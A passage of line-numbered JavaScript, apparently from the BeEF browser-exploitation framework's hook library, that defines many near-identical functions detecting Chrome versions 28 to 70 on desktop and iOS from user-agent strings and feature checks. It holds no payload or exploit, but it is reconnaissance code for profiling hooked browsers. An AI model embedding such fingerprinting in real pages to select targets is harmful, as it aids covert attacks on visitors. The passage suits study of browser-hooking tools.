1309
* Returns true if Chrome for iOS 28.
1310
* @example: beef.browser.isC28iOS()
1311
*/
1312
isC28iOS: function () {
1313
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
1314
},
1315
1316
/**
1317
* Returns true if Chrome 29.
1318
* @example: beef.browser.isC29()
1319
*/
1320
isC29: function () {
1321
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ? true : false);
1322
},
1323
1324
/**
1325
* Returns true if Chrome for iOS 29.
1326
* @example: beef.browser.isC29iOS()
1327
*/
1328
isC29iOS: function () {
1329
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
1330
},
1331
1332
/**
1333
* Returns true if Chrome 30.
1334
* @example: beef.browser.isC30()
1335
*/
1336
isC30: function () {
1337
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ? true : false);
1338
},
1339
1340
/**
1341
* Returns true if Chrome for iOS 30.
1342
* @example: beef.browser.isC30iOS()
1343
*/
1344
isC30iOS: function () {
1345
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
1346
},
1347
1348
/**
1349
* Returns true if Chrome 31.
1350
* @example: beef.browser.isC31()
1351
*/
1352
isC31: function () {
1353
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ? true : false);
1354
},
1355
1356
/**
1357
* Returns true if Chrome for iOS 31.
1358
* @example: beef.browser.isC31iOS()
1359
*/
1360
isC31iOS: function () {
1361
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
1362
},
1363
1364
/**
1365
* Returns true if Chrome 32.
1366
* @example: beef.browser.isC32()
1367
*/
1368
isC32: function () {
1369
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ? true : false);
1370
},
1371
1372
/**
1373
* Returns true if Chrome for iOS 32.
1374
* @example: beef.browser.isC32iOS()
1375
*/
1376
isC32iOS: function () {
1377
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
1378
},
1379
1380
/**
1381
* Returns true if Chrome 33.
1382
* @example: beef.browser.isC33()
1383
*/
1384
isC33: function () {
1385
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ? true : false);
1386
},
1387
1388
/**
1389
* Returns true if Chrome for iOS 33.
1390
* @example: beef.browser.isC33iOS()
1391
*/
1392
isC33iOS: function () {
1393
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
1394
},
1395
1396
/**
1397
* Returns true if Chrome 34.
1398
* @example: beef.browser.isC34()
1399
*/
1400
isC34: function () {
1401
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ? true : false);
1402
},
1403
1404
/**
1405
* Returns true if Chrome for iOS 34.
1406
* @example: beef.browser.isC34iOS()
1407
*/
1408
isC34iOS: function () {
1409
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
1410
},
1411
1412
/**
1413
* Returns true if Chrome 35.
1414
* @example: beef.browser.isC35()
1415
*/
1416
isC35: function () {
1417
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ? true : false);
1418
},
1419
1420
/**
1421
* Returns true if Chrome for iOS 35.
1422
* @example: beef.browser.isC35iOS()
1423
*/
1424
isC35iOS: function () {
1425
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
1426
},
1427
1428
/**
1429
* Returns true if Chrome 36.
1430
* @example: beef.browser.isC36()
1431
*/
1432
isC36: function () {
1433
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ? true : false);
1434
},
1435
1436
/**
1437
* Returns true if Chrome for iOS 36.
1438
* @example: beef.browser.isC36iOS()
1439
*/
1440
isC36iOS: function () {
1441
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
1442
},
1443
1444
/**
1445
* Returns true if Chrome 37.
1446
* @example: beef.browser.isC37()
1447
*/
1448
isC37: function () {
1449
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ? true : false);
1450
},
1451
1452
/**
1453
* Returns true if Chrome for iOS 37.
1454
* @example: beef.browser.isC37iOS()
1455
*/
1456
isC37iOS: function () {
1457
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
1458
},
1459
1460
/**
1461
* Returns true if Chrome 38.
1462
* @example: beef.browser.isC38()
1463
*/
1464
isC38: function () {
1465
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ? true : false);
1466
},
1467
1468
/**
1469
* Returns true if Chrome for iOS 38.
1470
* @example: beef.browser.isC38iOS()
1471
*/
1472
isC38iOS: function () {
1473
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
1474
},
1475
1476
/**
1477
* Returns true if Chrome 39.
1478
* @example: beef.browser.isC39()
1479
*/
1480
isC39: function () {
1481
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ? true : false);
1482
},
1483
1484
/**
1485
* Returns true if Chrome for iOS 39.
1486
* @example: beef.browser.isC39iOS()
1487
*/
1488
isC39iOS: function () {
1489
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
1490
},
1491
1492
/**
1493
* Returns true if Chrome 40.
1494
* @example: beef.browser.isC40()
1495
*/
1496
isC40: function () {
1497
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ? true : false);
1498
},
1499
1500
/**
1501
* Returns true if Chrome for iOS 40.
1502
* @example: beef.browser.isC40iOS()
1503
*/
1504
isC40iOS: function () {
1505
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
1506
},
1507
1508
/**
1509
* Returns true if Chrome 41.
1510
* @example: beef.browser.isC41()
1511
*/
1512
isC41: function () {
1513
return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ? true : false);
1514
},
1515
1516
/**
1517
* Returns true if Chrome for iOS 41.
1518
* @example: beef.browser.isC41iOS()
1519
*/
1520
isC41iOS: function () {
1521
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
1522
},
1523
1524
/**
1525
* Returns true if Chrome 42.
1526
* @example: beef.browser.isC42()
1527
*/
1528
isC42: function () {
1529
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
1530
},
1531
1532
/**
1533
* Returns true if Chrome for iOS 42.
1534
* @example: beef.browser.isC42iOS()
1535
*/
1536
isC42iOS: function () {
1537
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
1538
},
1539
1540
/**
1541
* Returns true if Chrome 43.
1542
* @example: beef.browser.isC43()
1543
*/
1544
isC43: function () {
1545
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
1546
},
1547
1548
/**
1549
* Returns true if Chrome for iOS 43.
1550
* @example: beef.browser.isC43iOS()
1551
*/
1552
isC43iOS: function () {
1553
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
1554
},
1555
1556
/**
1557
* Returns true if Chrome 44.
1558
* @example: beef.browser.isC44()
1559
*/
1560
isC44: function () {
1561
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
1562
},
1563
1564
/**
1565
* Returns true if Chrome for iOS 44.
1566
* @example: beef.browser.isC44iOS()
1567
*/
1568
isC44iOS: function () {
1569
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
1570
},
1571
1572
/**
1573
* Returns true if Chrome 45.
1574
* @example: beef.browser.isC45()
1575
*/
1576
isC45: function () {
1577
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 45) ? true : false);
1578
},
1579
1580
/**
1581
* Returns true if Chrome for iOS 45.
1582
* @example: beef.browser.isC45iOS()
1583
*/
1584
isC45iOS: function () {
1585
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 45) ? true : false);
1586
},
1587
1588
/**
1589
* Returns true if Chrome 46.
1590
* @example: beef.browser.isC46()
1591
*/
1592
isC46: function () {
1593
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 46) ? true : false);
1594
},
1595
1596
/**
1597
* Returns true if Chrome for iOS 46.
1598
* @example: beef.browser.isC46iOS()
1599
*/
1600
isC46iOS: function () {
1601
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 46) ? true : false);
1602
},
1603
1604
/**
1605
* Returns true if Chrome 47.
1606
* @example: beef.browser.isC47()
1607
*/
1608
isC47: function () {
1609
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 47) ? true : false);
1610
},
1611
1612
/**
1613
* Returns true if Chrome for iOS 47.
1614
* @example: beef.browser.isC47iOS()
1615
*/
1616
isC47iOS: function () {
1617
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
1618
},
1619
1620
/**
1621
* Returns true if Chrome 48.
1622
* @example: beef.browser.isC48()
1623
*/
1624
isC48: function () {
1625
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
1626
},
1627
1628
/**
1629
* Returns true if Chrome for iOS 48.
1630
* @example: beef.browser.isC48iOS()
1631
*/
1632
isC48iOS: function () {
1633
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
1634
},
1635
1636
/**
1637
* Returns true if Chrome 49.
1638
* @example: beef.browser.isC49()
1639
*/
1640
isC49: function () {
1641
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
1642
},
1643
1644
/**
1645
* Returns true if Chrome for iOS 49.
1646
* @example: beef.browser.isC49iOS()
1647
*/
1648
isC49iOS: function () {
1649
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
1650
},
1651
1652
/**
1653
* Returns true if Chrome 50.
1654
* @example: beef.browser.isC50()
1655
*/
1656
isC50: function () {
1657
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
1658
},
1659
1660
/**
1661
* Returns true if Chrome for iOS 50.
1662
* @example: beef.browser.isC50iOS()
1663
*/
1664
isC50iOS: function () {
1665
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
1666
},
1667
1668
/**
1669
* Returns true if Chrome 51.
1670
* @example: beef.browser.isC51()
1671
*/
1672
isC51: function () {
1673
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
1674
},
1675
1676
/**
1677
* Returns true if Chrome for iOS 51.
1678
* @example: beef.browser.isC51iOS()
1679
*/
1680
isC51iOS: function () {
1681
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
1682
},
1683
1684
/**
1685
* Returns true if Chrome 52.
1686
* @example: beef.browser.isC52()
1687
*/
1688
isC52: function () {
1689
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
1690
},
1691
1692
/**
1693
* Returns true if Chrome for iOS 52.
1694
* @example: beef.browser.isC52iOS()
1695
*/
1696
isC52iOS: function () {
1697
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
1698
},
1699
1700
/**
1701
* Returns true if Chrome 53.
1702
* @example: beef.browser.isC53()
1703
*/
1704
isC53: function () {
1705
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
1706
},
1707
1708
/**
1709
* Returns true if Chrome for iOS 53.
1710
* @example: beef.browser.isC53iOS()
1711
*/
1712
isC53iOS: function () {
1713
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
1714
},
1715
1716
/**
1717
* Returns true if Chrome 54.
1718
* @example: beef.browser.isC54()
1719
*/
1720
isC54: function () {
1721
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
1722
},
1723
1724
/**
1725
* Returns true if Chrome for iOS 54.
1726
* @example: beef.browser.isC54iOS()
1727
*/
1728
isC54iOS: function () {
1729
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
1730
},
1731
1732
/**
1733
* Returns true if Chrome 55.
1734
* @example: beef.browser.isC55()
1735
*/
1736
isC55: function () {
1737
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
1738
},
1739
1740
/**
1741
* Returns true if Chrome for iOS 55.
1742
* @example: beef.browser.isC55iOS()
1743
*/
1744
isC55iOS: function () {
1745
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
1746
},
1747
1748
/**
1749
* Returns true if Chrome 56.
1750
* @example: beef.browser.isC56()
1751
*/
1752
isC56: function () {
1753
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
1754
},
1755
1756
/**
1757
* Returns true if Chrome for iOS 56.
1758
* @example: beef.browser.isC56iOS()
1759
*/
1760
isC56iOS: function () {
1761
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
1762
},
1763
1764
/**
1765
* Returns true if Chrome 57.
1766
* @example: beef.browser.isC57()
1767
*/
1768
isC57: function () {
1769
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
1770
},
1771
1772
/**
1773
* Returns true if Chrome for iOS 57.
1774
* @example: beef.browser.isC57iOS()
1775
*/
1776
isC57iOS: function () {
1777
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
1778
},
1779
1780
/**
1781
* Returns true if Chrome 58.
1782
* @example: beef.browser.isC58()
1783
*/
1784
isC58: function () {
1785
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
1786
},
1787
1788
/**
1789
* Returns true if Chrome for iOS 58.
1790
* @example: beef.browser.isC58iOS()
1791
*/
1792
isC58iOS: function () {
1793
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
1794
},
1795
1796
/**
1797
* Returns true if Chrome 59.
1798
* @example: beef.browser.isC59()
1799
*/
1800
isC59: function () {
1801
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false);
1802
},
1803
1804
/**
1805
* Returns true if Chrome for iOS 59.
1806
* @example: beef.browser.isC59iOS()
1807
*/
1808
isC59iOS: function () {
1809
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false);
1810
},
1811
1812
/**
1813
* Returns true if Chrome 60.
1814
* @example: beef.browser.isC60()
1815
*/
1816
isC60: function () {
1817
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false);
1818
},
1819
1820
/**
1821
* Returns true if Chrome for iOS 60.
1822
* @example: beef.browser.isC60iOS()
1823
*/
1824
isC60iOS: function () {
1825
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false);
1826
},
1827
1828
/**
1829
* Returns true if Chrome 61.
1830
* @example: beef.browser.isC61()
1831
*/
1832
isC61: function () {
1833
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false);
1834
},
1835
1836
/**
1837
* Returns true if Chrome for iOS 61.
1838
* @example: beef.browser.isC61iOS()
1839
*/
1840
isC61iOS: function () {
1841
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false);
1842
},
1843
1844
/**
1845
* Returns true if Chrome 62.
1846
* @example: beef.browser.isC62()
1847
*/
1848
isC62: function () {
1849
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false);
1850
},
1851
1852
/**
1853
* Returns true if Chrome for iOS 62.
1854
* @example: beef.browser.isC62iOS()
1855
*/
1856
isC62iOS: function () {
1857
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false);
1858
},
1859
1860
/**
1861
* Returns true if Chrome 63.
1862
* @example: beef.browser.isC63()
1863
*/
1864
isC63: function () {
1865
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false);
1866
},
1867
1868
/**
1869
* Returns true if Chrome for iOS 63.
1870
* @example: beef.browser.isC63iOS()
1871
*/
1872
isC63iOS: function () {
1873
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
1874
},
1875
1876
/**
1877
* Returns true if Chrome 64.
1878
* @example: beef.browser.isC64()
1879
*/
1880
isC64: function () {
1881
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false);
1882
},
1883
1884
/**
1885
* Returns true if Chrome for iOS 64.
1886
* @example: beef.browser.isC64iOS()
1887
*/
1888
isC64iOS: function () {
1889
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false);
1890
},
1891
1892
/**
1893
* Returns true if Chrome 65.
1894
* @example: beef.browser.isC65()
1895
*/
1896
isC65: function () {
1897
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false);
1898
},
1899
1900
/**
1901
* Returns true if Chrome for iOS 65.
1902
* @example: beef.browser.isC65iOS()
1903
*/
1904
isC65iOS: function () {
1905
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false);
1906
},
1907
1908
/**
1909
* Returns true if Chrome 66.
1910
* @example: beef.browser.isC66()
1911
*/
1912
isC66: function () {
1913
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false);
1914
},
1915
1916
/**
1917
* Returns true if Chrome for iOS 66.
1918
* @example: beef.browser.isC66iOS()
1919
*/
1920
isC66iOS: function () {
1921
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false);
1922
},
1923
1924
/**
1925
* Returns true if Chrome 67.
1926
* @example: beef.browser.isC67()
1927
*/
1928
isC67: function () {
1929
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false);
1930
},
1931
1932
/**
1933
* Returns true if Chrome for iOS 67.
1934
* @example: beef.browser.isC67iOS()
1935
*/
1936
isC67iOS: function () {
1937
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false);
1938
},
1939
1940
/**
1941
* Returns true if Chrome 68.
1942
* @example: beef.browser.isC68()
1943
*/
1944
isC68: function () {
1945
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false);
1946
},
1947
1948
/**
1949
* Returns true if Chrome for iOS 68.
1950
* @example: beef.browser.isC68iOS()
1951
*/
1952
isC68iOS: function () {
1953
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false);
1954
},
1955
1956
/**
1957
* Returns true if Chrome 69.
1958
* @example: beef.browser.isC69()
1959
*/
1960
isC69: function () {
1961
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false);
1962
},
1963
1964
/**
1965
* Returns true if Chrome for iOS 69.
1966
* @example: beef.browser.isC69iOS()
1967
*/
1968
isC69iOS: function () {
1969
return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false);
1970
},
1971
1972
/**
1973
* Returns true if Chrome 70.
1974
* @example: beef.browser.isC70()
1975
*/
1976
isC70: function () {
1977
return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false);
1978
},
1979
1980
/**
1981
* Returns true if Chrome for iOS 70.
1982
* @example: beef.browser.isC70iOS()
1983
*/
1984
isC70iOS: function () {
1985
